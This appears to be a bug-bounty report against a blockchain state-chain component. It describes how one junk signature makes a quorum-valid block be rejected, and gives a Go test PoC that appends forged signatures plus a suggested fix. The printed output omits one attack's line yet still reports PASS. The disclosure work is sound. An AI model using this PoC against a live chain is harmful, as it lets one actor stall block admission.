Bounty
XE-0946 · Bounty

One junk signature in a statechain list rejects a quorum-valid block

Triaging claimed Minor web filed 2026-11-06 20:03 UTC by byfor8

Report

Summary

verifyMultisig is supposed to count valid keyset signatures against the DAO threshold and admit a block that already has enough good signatures. At statechain/chain.go:227-254 it returns on the first signer-not-in-keyset entry (:246-248) and on the first VerifySignature error (:250-252), instead of skipping invalids and tallying the rest. A 2-of-3 block with two valid signatures plus one junk extra is therefore dropped entirely. AddBlock on a state-chain block with a mixed signature list is the production path. GitHub #45 is empty-sig-list spam and #6/#93 is threshold ignored on the lease family; here a threshold-satisfying set is rejected because a junk extra is present.

Affected components

statechain/chain.go:227-254 verifyMultisig (return on first unknown key at :246-248 and first VerifySignature error at :250-252) at xe 02e9641b0ac64437f57e09d63301f88cce61a802.

Impact

DAO state-chain progress stops for that block even though the remaining signatures meet 2-of-3. One extra junk entry, from a non-keyset key or a bad sig by a keyset member, is enough. Any single malicious or buggy keyset member can DoS that block's admission.

PoC

package round3

import (
	"encoding/json"
	"fmt"
	"strings"
	"testing"

	"github.com/xeprotocol/xe/core"
	"github.com/xeprotocol/xe/statechain"
	"github.com/xeprotocol/xe/store"
)

func TestPoC_B10(t *testing.T) {
	fmt.Printf("PROVENANCE: xe=%s file=poc/round3/b10_junk_sig_test.go\n", pinXE)
	k1, k2, k3 := mustKey(t), mustKey(t), mustKey(t)
	pubs := []string{k1.PubKeyHex(), k2.PubKeyHex(), k3.PubKeyHex()}
	gen, err := genesisDAO(pubs, 2)
	if err != nil {
		t.Fatalf("genesis: %v", err)
	}
	ms := store.NewMemStore()
	chain, err := statechain.NewChain(ms, gen)
	if err != nil {
		t.Fatalf("NewChain: %v", err)
	}

	mk := func(signers ...*core.KeyPair) *statechain.Block {
		tip := chain.Tip()
		note, _ := json.Marshal("x")
		b := &statechain.Block{
			Index:     tip.Index + 1,
			PrevHash:  tip.Hash,
			Timestamp: tip.Timestamp + 1,
			Ops:       []statechain.Op{{Action: statechain.ActionSet, Key: "poc.note", Value: note}},
		}
		if err := signStateBlock(b, signers...); err != nil {
			t.Fatalf("sign: %v", err)
		}
		return b
	}

	ctrl := mk(k1, k2)
	ctrlErr := chain.AddBlock(ctrl)
	fmt.Printf("CONTROL 2-of-3 valid AddBlock err=%v\n", ctrlErr)

	atk := mk(k1, k2)
	atk.Signatures = append(atk.Signatures, statechain.BlockSignature{
		PublicKey: strings.Repeat("ff", 32),
		Sig:       strings.Repeat("00", 64),
	})
	atkErr := chain.AddBlock(atk)
	fmt.Printf("ATTACK 2 valid + 1 junk-key sig AddBlock err=%v\n", atkErr)

	junkMember := mk(k1, k2)
	junkMember.Signatures = append(junkMember.Signatures, statechain.BlockSignature{
		PublicKey: k3.PubKeyHex(),
		Sig:       strings.Repeat("11", 64),
	})
	junkErr := chain.AddBlock(junkMember)
	fmt.Printf("ATTACK 2 valid + 1 junk-sig from keyset member err=%v\n", junkErr)

	if ctrlErr == nil && atkErr != nil && junkErr != nil {
		fmt.Println("PASS: 2-of-3 valid block is accepted; the same two sigs plus one junk entry are rejected entirely")
		fmt.Println("VERDICT=CONFIRMED")
		return
	}
	fmt.Println("VERDICT=KILLED")
}
CONTROL 2-of-3 valid AddBlock err=<nil>
ATTACK 2 valid + 1 junk-key sig AddBlock err=signer ffffffffffff not in keyset
PASS: 2-of-3 valid block is accepted; the same two sigs plus one junk entry are rejected entirely

Suggested fix

Skip invalid signatures and count remaining valid ones against the threshold. Do not fail the whole list on the first junk entry.

Thread

Joseph Denneteam2026-11-08 20:17 UTCdesk

Thank you for the report. We have read it in full and confirmed the behaviour in the code; it is being handled and we will update you here once the team has ruled on it.